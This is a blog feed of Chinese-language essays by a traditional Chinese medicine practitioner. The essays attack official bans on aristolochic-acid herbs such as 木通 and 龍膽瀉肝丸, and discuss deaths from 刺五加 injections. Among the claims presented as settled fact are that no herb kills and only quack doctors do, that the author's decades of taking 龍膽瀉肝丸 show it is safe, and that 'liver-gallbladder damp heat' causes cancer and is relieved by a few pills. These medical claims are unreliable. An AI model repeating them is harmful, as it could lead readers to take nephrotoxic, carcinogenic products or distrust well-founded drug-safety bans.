眾所皆知，通過人工合成的西藥對於人體或多或少都存在著毒副作用，對於人體危害特別顯著的當然會立即下架，但大量藥品對於人體的近期危害並不是特別明顯，都會繼續使用，從而讓人類承受著罹患大量藥源性疾病的困苦。 這裡我們抛開會給人體造成嚴重傷害的神經類用藥、抗風濕類用藥、激素類藥物、抗生素類用藥不談，即使某些西醫認爲毫無毒性的藥物多服或長期服用照樣會出現副作用；如多服或久服維生素類藥物損傷身體的臨床案例比比皆是，就是號稱“世紀之藥”的阿斯匹林，久服會使血小板計數降低為正常值的1/3。這些藥品是不是都應該禁用呢？ 中藥中還有許多“毒、麻、劇”藥品，如烏頭附子、鬧洋花、馬錢子、山莨菪、三分三等等都有大毒，其毒性遠比上述5味中藥大，如果按照這種邏輯，這些藥品更應該禁用。這類藥物之所以沒有給人體造成相應的傷害，主要在於嚴格的管理措施，使得不懂得中藥運用的人不容易得到；如若將上述5種被禁用的中藥同樣管理，也就不會出現上述中毒的問題了；管理者爲什麽不去依據自己的國情採用適當的方式加強管理功能、而偏要跟著西風禁用呢？ 正如前述，龍膽瀉肝丸的臨床治病效果是非常好的，只要是出現肝膽實熱證型，服之立即見效。但在[中西醫結合]思維的指導之下，人們常常將其當作保健品長期服用；須不知中醫的臨床指導思維為“有是證，服是方”，龍膽瀉肝丸屬於苦寒之品，只能短期地適用於肝膽實（濕）熱證型患者；如若不具備肝膽實熱證型，就絕對不能輕用，否則就會傷害到身體。事實上，上述中醫治則必須嚴格遵循，不可以有半點懈怠與馬虎；這是中醫學説的學術規範，如若違犯，必定會出現中藥中毒的醫療事故。 根據有關報道，用大劑量木通減肥的是比利時的西醫醫生，長期服用龍膽瀉肝丸中毒的是毫無中醫藥理知識的患者；我們中醫師不敢使用的劑量這些人都敢亂用，這能歸罪於上述5味中藥嗎？應該明白，世界上只有庸醫能殺人，沒有中藥會殺人；因爲中醫藥理論早就明白地告誡我們，木通不可久服、不可大劑量使用。 筆者以爲，加強中醫藥的管理纔是杜絕中藥中毒事件發生的關鍵。我們應該借鑑西藥的管理經驗。應該規定，中藥不得進入食品市場，大凡含有毒性的中藥一律憑中醫師處方發出，如若出現醫療事故，可以通過中醫師處方來查詢事故的責任歸屬；同時，不具備中醫學識的任何醫生都不應該被允許使用中藥，法律應該規定中藥只能屬於中醫師專用。 有趣的是，身為衛生部門的管理官員卻不明白這點，他們不去研究造成患者腎臟衰竭醫療事故的前因後果，就急急忙忙地跟在洋人屁股後面禁止使用上述中藥。筆者以爲，如此簡單地跟風禁用所導致的後果，不但無助於預防中藥中毒事故的發生，反而無端地剝奪了民衆使用中藥治病的權利，更加有害於中醫事業的發展。 說實話，不知道決策者們是否想藉此決策來掩蓋自己管理上的無能，如果像管理某些具有毒副作用的西藥一樣，將具有毒副作用中藥進行規範管理，使其只能憑執照中醫師處方使用，而不是像食品一樣擺在外面可以隨意購買；如若病人使用這類中藥出現問題，完全可以通過查閲中藥處方而追究當事中醫師的法律責任。這樣，既不會由於這種不當的禁令侵犯到廣大患者使用中藥的權利，又完全能夠控制上述重要中藥中毒的醫療事故發生。（待續）]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	<strong>盲目跟風的迷思</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
九十年代初期在比利時所發生的大面積中藥中毒的醫療事故曾經震撼世界。當時某西醫在根本就不懂得中藥使用知識的情況下，盲目使用防己、木通等中藥組方成爲“苗條丸”、並運用於臨床減肥治療；由於長期不當服用，出現174名患者中的70人罹患腎衰竭，1人死亡的慘劇。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
然而令人窒息的是，人們非但沒有追究肇事者不遵循中藥使用規範而亂用中藥的可恥行徑，卻將事故的主要根源歸咎於中藥的毒性，甚至極不公平地將其稱之爲“中草藥腎病”。2000年6月美國FDA因此而大量限制“含有馬兜鈴酸”中藥的進口與使用（摘自《中醫戰略》）。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，FDA的限制決定既是合法的，也是荒唐的。說起合法，是指其依據為美國對於中藥管理的法律技術界定。我們知道，中藥在美國並不屬於藥物，而是食品。既為食品，當然就不允許含有任何毒性物質，因而可以說FDA的限制是合法的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
然而中藥畢竟是藥，是中醫師臨床治病所使用的藥物。幾千年來，中藥的臨床應用累積著極爲完善的使用規律，使得中藥成爲既十分有效、又十分安全的臨床用藥。很顯然，“藥之害在醫不在藥”，上述所謂“中草藥腎病”的問題應該出在肇事者身上，而絕不應該是中藥的本身。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，中醫藥理論並不認爲防己、木通等中藥具備減肥的功效，而且防己、木通等中藥關於“不得大量長期服用”的臨床規範早就在中醫藥典中有著明文規定。由此可見，“中草藥腎病”的發生源頭不應該算在中藥本身所含的毒性成分問題上，而應該歸咎於非中醫專業者不當使用中藥。其實任何中藥，如若使用者不具備中醫學術理論的指導，即使不含毒性的許多中藥（如冬蟲夏草、人參等），使用不當都有可能出現毒性反應。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
在美國與歐洲等地區，法律明文規定西醫纔是醫學，醫學就等同於西醫。如若將中藥歸類為藥物的範疇，依據法律也就只有西醫醫生才有資格使用；如此一來，中醫師也就必然失去使用中藥的資格。然而，西醫師由於不懂得中藥的使用規律，也只好按照西藥的用藥法則加以運用；如此這般，類似“中草藥腎病”的中藥中毒事故依然仍會不斷出現。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以說，所謂“中草藥腎病”所提示的問題在於中醫療法缺乏適當的管理規範。在目前的條件之下，無論是將中藥歸類於食品類管理，還是歸類於藥品類管理，都會導致中藥中毒事故的發生。所以說在西方社會的法律規範之下，FDA的管理措施雖然不存在法律上的錯誤，但仍舊無法解決中藥中毒醫療事故的發生。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
依據中醫藥的學術規律，中醫學說應該歸類為另類醫學、而不是另類療法；由於屬於不同於西醫的醫學學術體系，就應該理所當然地依照中醫的學術規範使用中醫藥療法。似此，中藥的定位也就必須有著相應的管理措施，所有的中藥都應該像西藥一樣管理嚴格起來，所有不具備中醫學識的臨床醫生都不得隨意使用，所有含有毒性（包括大毒、小毒）的中藥都必須依據中醫業者的處方方能出售使用。如此一來，中藥就能夠規範在中醫的學術指導下合理使用，從而可以從根本上杜絕由於濫用中藥而出現中藥中毒事故。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
反觀中國大陸與臺灣，當西方世界因“中草藥腎病”而掀起禁用含有馬兜鈴酸的許多中藥時，竟然也會盲目地跟風而動，不但無理地將廣防己、青木香、關木通、馬兜鈴、天仙藤等中藥從中醫藥典中剔除，甚至還要“株連九族”，連川貝枇杷膏、止嗽散、健胃散等大大小小69種中藥方劑也不放過，全面禁用。<span id="more-296"></span><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
近期在中國中藥市場，龍膽瀉肝丸等中成藥也被政府禁用，許多迫切需要該藥治病的患者因爲無法得到而導致病情加劇。我們知道，龍膽瀉肝丸中雖然含有具有馬兜鈴酸成分的木通，但是短期用於消除肝膽經實熱證並無大礙，筆者自己都經常間斷性地服用來調節身體，幾十年下來，不但沒有因此而中毒，反而由於肝膽經實（濕）熱的驅除而感到身體十分舒適。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而且依據筆者的學術認知，肝膽經實（濕）熱的存在，很容易導致機體出現癌症、心腦血管疾病等絕症；當身體初現肝膽經實（濕）熱證型（包括眩暈頭痛、口苦咽乾、脅肋疼痛、煩躁易怒、小便黃赤、或身困乏力等症）時，服用幾粒龍膽瀉肝丸即可明顯改善。事實上，龍膽瀉肝丸的臨床治病與保健的功效是不可否認的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
本來，政府對於危害人民健康的藥品進行管制，應該是無可厚非的，但問題是藥品禁用是否合理合法。的確，上述藥品含有馬兜鈴酸，大量而長期應用有可能導致腎衰竭；但是作爲中醫藥療法出產地的中國兩岸當局，竟然不去分辨“中草藥腎病”的實質根源在哪裏，竟然還會跟在西方世界的屁股後面揮舞屠刀，真的是令人跌破眼鏡。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由於文化的差異，西方世界並沒有真正認識中醫學說，因而只會將中藥當作食物、或者西藥來看待。而且西方的法律還沒有承認中醫為醫學學術體系，因此不允許西藥之外的“中藥”存在，以致出現上述那種對於中藥的荒唐認知。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
但在中國大陸與臺灣，使用中醫藥的歷史可以追朔到幾千年前，廣大民衆對於中藥的臨床效用及其安全性都有著一定的認知，基本上懂得一些“中藥不是西藥、也不是食品”的道理。只是由於[中西醫結合]運動的學術污染，才使得人們對於中西醫的學術理念混淆不清，以致誤將中藥當作西藥、或者食品來使用，從而釀成許多中藥中毒的醫療事故。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
在中國，法律已經規定中醫作爲一門醫學體系而存在的正當性，因而中醫師使用上述中藥的權利完全應該受到法律的保護。但在某些執法者看來，卻全然不是那麽一回事；或許他們根本就不懂得中國與外國的法律不一樣，以爲洋人的科學技術如此發達，只要是他們認爲不能使用的中藥就一定不能使用，因而就毫無道理地以管理來代替法律，以至剝奪了廣大患者與中醫業者使用上述中藥的權力。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
然而中國不是美國，由於中藥在美國只是定位為食品，因而不允許其中含有毒性成分，凡是使用有毒中藥都應該屬於違法。但在中國，一則有著“發展傳統醫學”的憲法保護，二則大部分民衆都了解中藥的臨床效用及其安全性，因此，即使使用有毒中藥治病，也應該屬於合法的。國情如此不一，如何能夠照搬跟風？如若依據法律的理念，這種跟風行為已經違背著中國憲法第21條“發展傳統醫學”的規定。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
中國醫學部門的管理者不會沒有注意到，西藥中具有大量的毒性藥品，而且其中有些比起上述中藥的毒性可以說大得多。譬如西藥嗎啡、杜冷丁為大毒品，爲什麽管理者們不予禁用呢？是不是只是因爲西方世界還沒打算禁用的原因呢？説到底，這種禁令是有選擇性的，或許主要還是因爲洋大人們決定禁止，所以他們才會跟著發出禁令。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
當然，對於做出上述這種歧視性的決定筆者完全能夠理解，因爲管理者對於中醫藥學的知識實在太過貧乏，他們這種毫不尊重中醫藥學術理念的管理思維也已經顯示出他們缺乏應有的職業管理水準；可以預計，如若依靠這些人來管理中醫藥必然會將中醫事業逐漸拖垮。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
今天他們可以跟風禁止上述5味中藥，明天他們同樣可能跟風禁止其他含有某种毒副作用成分的中藥，不需要多少時日，這些應聲蟲們將會使得臨床中醫師沒有中藥可用，屆時，那些中醫藥典只能當作輝煌的中國文化證物儲存於博物館之内，那些患者們所急需的有效中藥也只能當作雜草廢物一般地處理掉。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
眾所皆知，通過人工合成的西藥對於人體或多或少都存在著毒副作用，對於人體危害特別顯著的當然會立即下架，但大量藥品對於人體的近期危害並不是特別明顯，都會繼續使用，從而讓人類承受著罹患大量藥源性疾病的困苦。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
這裡我們抛開會給人體造成嚴重傷害的神經類用藥、抗風濕類用藥、激素類藥物、抗生素類用藥不談，即使某些西醫認爲毫無毒性的藥物多服或長期服用照樣會出現副作用；如多服或久服維生素類藥物損傷身體的臨床案例比比皆是，就是號稱“世紀之藥”的阿斯匹林，久服會使血小板計數降低為正常值的1/3。這些藥品是不是都應該禁用呢？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
中藥中還有許多“毒、麻、劇”藥品，如烏頭附子、鬧洋花、馬錢子、山莨菪、三分三等等都有大毒，其毒性遠比上述5味中藥大，如果按照這種邏輯，這些藥品更應該禁用。這類藥物之所以沒有給人體造成相應的傷害，主要在於嚴格的管理措施，使得不懂得中藥運用的人不容易得到；如若將上述5種被禁用的中藥同樣管理，也就不會出現上述中毒的問題了；管理者爲什麽不去依據自己的國情採用適當的方式加強管理功能、而偏要跟著西風禁用呢？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
正如前述，龍膽瀉肝丸的臨床治病效果是非常好的，只要是出現肝膽實熱證型，服之立即見效。但在[中西醫結合]思維的指導之下，人們常常將其當作保健品長期服用；須不知中醫的臨床指導思維為“有是證，服是方”，龍膽瀉肝丸屬於苦寒之品，只能短期地適用於肝膽實（濕）熱證型患者；如若不具備肝膽實熱證型，就絕對不能輕用，否則就會傷害到身體。事實上，上述中醫治則必須嚴格遵循，不可以有半點懈怠與馬虎；這是中醫學説的學術規範，如若違犯，必定會出現中藥中毒的醫療事故。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
根據有關報道，用大劑量木通減肥的是比利時的西醫醫生，長期服用龍膽瀉肝丸中毒的是毫無中醫藥理知識的患者；我們中醫師不敢使用的劑量這些人都敢亂用，這能歸罪於上述5味中藥嗎？應該明白，世界上只有庸醫能殺人，沒有中藥會殺人；因爲中醫藥理論早就明白地告誡我們，木通不可久服、不可大劑量使用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，加強中醫藥的管理纔是杜絕中藥中毒事件發生的關鍵。我們應該借鑑西藥的管理經驗。應該規定，中藥不得進入食品市場，大凡含有毒性的中藥一律憑中醫師處方發出，如若出現醫療事故，可以通過中醫師處方來查詢事故的責任歸屬；同時，不具備中醫學識的任何醫生都不應該被允許使用中藥，法律應該規定中藥只能屬於中醫師專用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
有趣的是，身為衛生部門的管理官員卻不明白這點，他們不去研究造成患者腎臟衰竭醫療事故的前因後果，就急急忙忙地跟在洋人屁股後面禁止使用上述中藥。筆者以爲，如此簡單地跟風禁用所導致的後果，不但無助於預防中藥中毒事故的發生，反而無端地剝奪了民衆使用中藥治病的權利，更加有害於中醫事業的發展。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
說實話，不知道決策者們是否想藉此決策來掩蓋自己管理上的無能，如果像管理某些具有毒副作用的西藥一樣，將具有毒副作用中藥進行規範管理，使其只能憑執照中醫師處方使用，而不是像食品一樣擺在外面可以隨意購買；如若病人使用這類中藥出現問題，完全可以通過查閲中藥處方而追究當事中醫師的法律責任。這樣，既不會由於這種不當的禁令侵犯到廣大患者使用中藥的權利，又完全能夠控制上述重要中藥中毒的醫療事故發生。（待續）</span></p>
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		<title>從[刺五加注射液]中毒死亡事故談起</title>
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		<pubDate>Tue, 03 Nov 2009 04:25:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 近來，在中國接二連三地發生了中藥注射液中毒的醫療事故，其中，黑龍江完達山制藥廠生産的[刺五加注射液]，“繼造成雲南紅河州3人死亡後，雲南曲靖、開遠早前亦發現4宗疑似個案，其中2人已死亡；浙江臺州也有1名病人死亡；湖北也驚傳150人出現不良反應。（摘自洛杉磯《世界日報》2008年10月11日A16版）” 另據報道，繼完達山[刺五加注射液]奪走多名兒童性命之後，中國衛生部10月19日召開緊急電視電話會議，通報了陝西省延安市志丹縣醫院因使用山西太行藥業股份有限公司生産的[茵梔黃注射液]（批號為071001）之後，有4名新生兒發生不良反應，其中1名出生9天的新生兒於10月11日死亡。 令人不安的是，對於這樣兩則消息，外界的反應並不強烈，頂多只是停留在追究產品的品質合不合格的問題方面。前者中國也曾發生過中草藥製劑[魚腥草注射液]在臨床上出現嚴重不良反應而被全面暫停使用的事件，而當時人們主要是將矛頭指向中藥的毒性問題之上；有人甚至由此而質疑中藥臨床使用的安全性與合理性。 事實上幾千年來無數的臨床案例都已經顯示出中藥的療效價值及其安全性；人們不會不知道，只要將魚腥草、刺五加採用中醫藥療法的傳統給藥方式，上述中毒事故根本就不可能發生。那麽既然類似的[中藥西用]經常會出現如此重大的醫療事故，我們爲什麽不去進一步探討這種將中藥直接注入體内的給藥方式是否符合正常的醫學學術規律、這種[中藥西用]的使用中藥方式是否危害到人體的健康等問題呢？ 筆者以爲，在[中西醫結合]盛行的中國醫藥學界，出現這類中藥針劑的藥物中毒事件應該是必然的，它的醫療事故責任不應該簡單地歸咎為產品的質量問題，而應該將研究的重點放在這種[中藥西用]的用藥方式是否為肇事元兇的問題上。 其實這只是中國所特有的中草藥中毒醫療事故之一，它所反映的問題應該是中國現行醫療體制中所存在的最大隱患&#8212;-[中西醫結合]；如若這種[中藥西用]的問題不能得到有效的制止，日後依然還會在臨床上發生新的中藥注射液劑型的中毒事故。 依據相關介紹，該厰所生産的[刺五加注射液]是由五加科植物刺五加製成的靜脈中藥注射劑，其使用説明書標明可以用於治療短暫性腦缺血發作、腦動脈硬化、腦血栓形成、腦栓塞等疾病；也可用於治療冠心病、心絞痛、神經衰弱和更年期症狀等疾病。 顯然，生産廠家的上述説法所存在的問題在於缺乏嚴謹的醫學學術理論根據，而只是依據[中西醫結合]思維所臆測的用藥指導。上述醫療事故已經證實，這種簡單的人爲學術推理和拼湊當然與正常的學術規律存在著極大的距離；事實上，中藥刺五加根本就無法治愈上述心腦血管等疾病。 我們還應該注意到，臨床所使用的刺五加注射液並不是依據西藥製作規範所提取的“有效成分”，其主要劑型結構依然還是原有的中藥有機成分。 這就是問題之所在。具備中醫藥“四氣”、“五味”學術規律的[刺五加注射液]不是依照中藥“内服外敷”的使用規律而運用於臨床，卻採用西醫靜脈注射的給藥方式直接輸入患者體内，這種使用中藥的方式既明顯地違反著中醫關於[辨證論治]的臨床用藥準則，同樣也明顯地違反著西醫關於注射用藥的學術規範；如此草菅用藥，不出臨床事故那纔是怪事。 据報道，有人在滴注[刺五加注射液]時即出現頭痛、眩暈、心臟像滾水一樣翻騰，似乎整個心都要跳出來一樣；還有人又吐又瀉，手腳抽筋，直至昏迷。許多人在注射[刺五加注射液]之後出現周身不適、惡心、胸痛、寒顫等症狀，甚至還出現多人死亡的嚴重醫療事故。 人們常常願意將這種事件的緣由歸咎於“病原微生物”的污染、以爲只是藥物產品品質不合格的問題，但湖北省藥品不良反應檢測中心在10月9日公佈的報告顯示，該省150宗因注射[刺五加注射液]而出現不良反應的案例，並沒有使用此次被衛生部所通報的那兩個批次，而是涉及完達山藥廠所生産的其它批次的注射液、以及另外兩個藥廠所生産的[刺五加注射液]。 顯然，湖北省藥品不良反應檢測中心所提示的問題是嚴重的，[刺五加注射液]所導致的中毒事件，既包括著中國衛生部和國家食品藥品監督管理局10月7日所公佈的兩批共4萬8000瓶被懷疑受到“病原微生物”污染的[刺五加注射液]（規格為每瓶100毫升）之外，同時也應該包括著其它更爲大量的、或許並沒有被污染的[刺五加注射液]產品。 上述顯示，[刺五加注射液]所導致藥物中毒的醫療事故，其關鍵問題並非僅僅只存在於被查到的少量批次產品中，而涉及到幾乎所有的[刺五加注射液]產品。結合到魚腥草注射液、刺五加注射液、茵梔黃注射液等在臨床使用中所出現的毒性反應，筆者以爲，類似醫療事故的發生，絕對不僅僅只是產品的質量問題，而應該主要放在追究[中西醫結合]學術理念所導致的危害等問題方面。 人們不會忘記，前者比利時某西醫生以中藥木通爲主要成分製作“苗條丸”，在給渴望減肥的患者長期大劑量服用之後，出現多例腎衰竭、一例死亡的所謂“中草藥腎病”。當時人們都是將事故的責任歸咎於中藥的毒性問題，卻不願意追究當事人不遵循中藥的使用規則、亂用中藥而導致醫療事故的法律責任。其後英國某30歲華裔為了“加強肝臟解毒功能”而擅自服用龍膽瀉肝丸長達5年時間，其結果不但沒有增強機體肝臟的解毒功能，反而導致腎衰竭與多發性膀胱腫瘤。 事實上，依據中醫學説的學術理論，木通並不具備減肥功能，龍膽瀉肝丸也不可能為肝臟解毒；這些苦寒藥品根本就不適合於長期服用，久服必傷機體陽氣。而且中醫學術理論中“肝”的概念也並非指西醫解剖概念的實質器官&#8212;-肝臟，人們之所以會出現上述那種糊塗的認知應該是被[中西醫結合]學術思維所誤導的結果。 而上述中藥注射劑型的出現也完全出自於[中西醫結合]的學術思維，將中藥直接做成針劑而使用於臨床是[中西醫結合]運動的一大“成就”，他們以爲只需要如此簡單地將[中藥西用]，就一定可以直接得到中醫臨床的那種顯著療效。 可以說在嚴謹的醫學學術理念問題上，在對待中西醫兩种不同的學術思維之間毫無共同之處的用藥方式等學術規律方面，所謂的[中西醫結合]論者是絲毫不會顧及的，他們所進行的[中西醫結合]模式也是極其盲目的；而他們所重視的應該只是中醫藥療法的使用形式、當然決不是其實質。 如前所述，如若能夠遵照中醫藥的使用規律，魚腥草的使用規範應該為“内服外敷”的中藥給藥方式；如此用藥，臨床上根本就不可能出現魚腥草中毒的問題；而只有在被[中西醫結合]製成注射液而實施西醫靜脈滴注的給藥方式之後，才有可能出現上述這種反常的魚腥草中毒事件。 同樣的道理，刺五加的中醫臨床效用僅僅也只是祛風濕、強筋骨而已；由於刺五加具有添精補髓以及抗衰老的效用，自古以來，人們就常常將其作爲培補用藥。當然，刺五加的臨床用藥方式依然必須遵循中醫的用藥之道；如若能夠嚴格地遵循中醫藥“内服外敷”的給藥方式而使用刺五加，肯定也不可能出現上述中毒反應。 筆者以爲，除了上述因素之外，關於“北五加有強心利尿作用、有毒，不宜多用”的用藥規範（詳見上海科學技術出版社出版、發行的《中藥學》1984年6月版）也不能忽視。刺五加產於黑龍江山區，應該歸屬於北五加範疇，也就是說上述製作[刺五加注射液]所用的刺五加本身還具有一定的毒性。 由此可以認爲，患者所出現的頭痛、胸痛、心臟翻騰像滾水、眩暈、惡心、吐泄、手腳痙攣等毒副反應問題、或許可能與這種將中藥直接注入患者體内的[中西醫結合]給藥方式有著重大的關係，因爲這種給藥方式能夠導致北五加毒性直接通過血液運行而在患者體内迅速擴散。 試想，在人們眼裏毫無毒性的魚腥草在製作成注射液使用之後尚且會出現毒性反應，而本身具有一定毒性的北五加注射液出現如此醫療事故則應該是理所當然的了。一般來説，中藥通過“内服外敷”的給藥方式，即使某些藥物含有絕對毒性，其通過胃腸、皮膚的吸收而能夠進入血液中的藥量應該較小；反之，如若直接將刺五加進行靜脈滴注，機體必然會隨著血液中藥物毒性的含量大增而出現上述毒性反應。 當然，上述論點僅僅只是筆者的推測而已，真正的事故原因還需要通過專業的鑑定。不過正如筆者所常常強調的，作爲臨床醫生，在進行臨床治病時應該以維護患者的身體健康爲主，因而在診治疾病的過程中，無論使用何種醫藥療法，都應該嚴格遵循該醫學的學術規範，因爲中西醫所有的學術規範都是通過各自嚴格的學術驗證所制定的，必然有著相當的安全性。 我們都知道，中醫不是西醫，中醫也從不隸屬於西醫體系，其有著自己獨特的學術規律，因而臨床使用中藥治病就必須完全遵循中醫藥的使用規則，循用中藥的傳統使用方式才會無虞；因爲中藥的傳統使用方式已經經過幾千年時間的臨床驗證，其安全有效性是不容置疑的。正是由於[中西醫結合]論的學術思維毫無道理地改變了中醫的傳統用藥方式，才會出現上述[中藥西用]的荒唐舉措，才會使得中藥中毒事故頻頻發生。 筆者以爲，上述中藥注射液中毒的醫療事故所提示的問題主要在於以下兩點：其一，刺五加飲片的使用規律必須依據中醫臨床所診斷的[病態證型]，而不應該標示一系列的西醫心腦血管疾病名稱；應該懂得，中西醫二者屬於完全不同的疾病診治方式，絕對不應該如此混淆。 這裡特別需要強調的是中藥的相對毒性問題。中醫臨床講究的是[辨證論治]，其治療原則為寒者熱之，熱者寒之，虛者補之，實者瀉之。這裡僅以藥物的寒熱屬性為例：五加皮性溫，臨床用於治療心腦血管疾病時，如若患者屬於熱性體質，即可謂火上加油，必然會出現熱甚的中毒反應。同理，魚腥草性微寒，如若誤給寒性體質患者消炎退熱，則猶如雪上加霜，必然會出現過寒的不適反應。 這個問題還可以通過某些人亂服人參之後的感覺得以證實。人參性微溫、為大補元氣之品，但許多人虛不受補，吃過以後就會出現口腔糜爛，有的甚至出現腹脹如鼓。其實人參本身並不具備特定的毒性，但用之不當就會出現毒性反應，如果服用者屬於熱性體質，以人參所具有的微溫特性就會使得服用者由於熱邪囂張而出現口腔糜爛。 對於許多多愁善感者來説，由於肝氣鬱結，平素腹中本來就多脹氣，常出現食後嗝逆、腹脹等不適感覺；此時如若誤服人參補氣，必然會越補越脹，下氣不通則只會出現如鼓之脹。上述顯示，使用無毒的人參都必須注意不得違背中醫關於“熱者寒之”、“實則瀉之”等學術理論。 這就是中醫所說的[藥證不符]所導致的誤治問題，由於藥證相反，一般都會出現機體不適、乃至中毒現象。這是中醫臨床所特有的用藥規律，也是[中西醫結合]魯莽用藥難以突破的最大障礙。由此可以看出，大凡中藥飲片都存在著中醫學術概念的寒熱屬性歸屬，因而使用中藥時都必須進行嚴格的辨證，如若冒然採用西醫辨病的做法，必然存在藥物中毒的可能性。 而在上述制藥廠家將[中西醫結合]理論搬到其商品銷售環節的過程中，錯誤地將刺五加的上述中藥效用與心腦血管疾病、以及神經衰弱、更年期綜合症等西醫疾病名稱緊緊地掛上鈎，十分荒唐地將中醫的[辨證]與西醫的[辨病]划上等號。正由於如此誤導，才會出現上述中藥中毒的醫療事故。 其二，刺五加等中藥飲片的給藥方式只能是“内服外敷”等傳統形式，而絕不應該採用西醫的靜脈注射等給藥方式。對於靜脈滴注，西醫的學術要求是相當嚴格的，其所使用的注射液也不是什麽都可以隨便用的。 可以肯定地說，靜脈注射單味中藥、或者中藥方劑是極其錯誤的做法，由於這種“中藥西用”的給藥方式無法掌控中藥的有機成分在機體組織内部的臨床反應，因此是相當危險的，很容易出現上述醫療事故。 所以筆者認爲，上述中藥注射液中毒的責任主要應該歸咎於[中西醫結合]思維指導下所導致的不當給藥方式。如若中國衛生當局還不重視這個問題，類似的中藥注射液中毒的事件依然還會繼續發生，而遭到傷害的當然必定還是廣大的患者。 綜上所述，將木通用於臨床減肥，是比利時某西醫生的臨床創意，也就是說，他將中藥的利水功效機械地詮釋為西醫的降脂作用。利用龍膽瀉肝丸清解肝經實熱的作用來加強肝臟的解毒功能，是使用者為[中西醫結合]論調所誤導，以至於誤將中醫之“肝”當作西醫解剖概念的肝臟來看待。同樣，將中草藥直接製成注射劑型用於臨床，也應該屬於[中西醫結合]臨床思維指導之下的產物，他們甚至盲目到會將中藥湯劑直接視作為西醫臨床的注射針劑。 事實上，從動植物（當然包括中藥）中提取“有效成分”的做法一直在西醫的實驗室研究中進行，並取得一定的成果；截至目前階段，西醫已經從中藥中提取到麻黃素、黃連素、青蒿素等“有效成分”，並運用於臨床，也收到一定的療效。然而，上述魚腥草注射液、刺五加注射液、茵梔黃注射液的製作應該都沒有遵循上述的西藥製作模式，其藥物的主要結構依然還是以中藥的湯藥成分爲主。 我們知道，如若人們非得要以注射的方式來使用中藥，那也還是必須嚴格地遵循西藥的製作程序，譬如從魚腥草、刺五加中提取“素”類有效成分；也只有按照西藥的製劑模式所製作成的西藥劑型，方能以西醫的給藥方式運用於臨床。 顯然，上述所謂的魚腥草注射液、刺五加注射液、茵梔黃注射液等都不具備西醫關於靜脈注射等用藥方式的藥品成分結構要求，如此亂用必然會出現不同程度的醫療事故。其實這種[中西醫結合]的用藥方式根本就不能稱作為中醫藥療法，更不是什麽“創新”，充其量也其僅僅只是形似而已。 事實上，上述所謂中藥注射液的主要藥物結構依然還是從屬於中醫的學術範疇，而[中藥西用]的做法卻直接將中藥湯劑當作注射劑型而採用西醫給藥方式，其間問題的關鍵在於這些中藥製劑不一定符合西醫注射用藥的規範。因而可以說這種做法、既違背著中醫藥的使用規律，也違背著西醫注射用藥的學術規律。 由此可以看出，[中藥西用]不是亂用中藥，而應該按照西藥的製作規範來提取中藥中的“有效成分”，也就是說，必須將中藥轉變為西藥的學術結構才行。事實上，由於上述“素”類藥物並不具備中醫關於“四氣”、“五味”等學術規律，可以說其從根本上已經改變爲具有西藥特性的西藥。至於其是否能夠適用於肌肉注射、或者靜脈滴注，筆者不甚了然；但有一點可以斷定，那就是中醫臨床已經無法依據中醫的用藥規律來辨證施用這種從中藥中所提取的“素”類藥物了。 所以說，現今中國臨床醫療所用的魚腥草、刺五加、茵梔黃等注射液製劑，並不是依據中西醫正常的醫學學術規律製成的，而是所謂[中西醫結合]思維的不當產物。事實上，這種將中藥湯劑強行套用西藥的給藥方式是一種極不負責任的粗暴醫療行爲，也可以稱作為草菅人命，這種不尊重醫學學術規律的醫療行爲，必將還會給更多的患者造成傷害。 我們只要仔細分析一下就能知道，所謂的[中西醫結合]應該屬於人們主觀嫁接的不中不西的[中西醫湊合]醫學，其核心思維主要在於迎合人們對於“中醫不科學”的錯誤認知，因而其主張在臨床上採用西醫的診斷與中醫的治療相結合的不成熟方式。由此可以看出，上述導致臨床醫療事故的[中藥西用]方式完全是[中西醫結合]思維所指導而出現的。 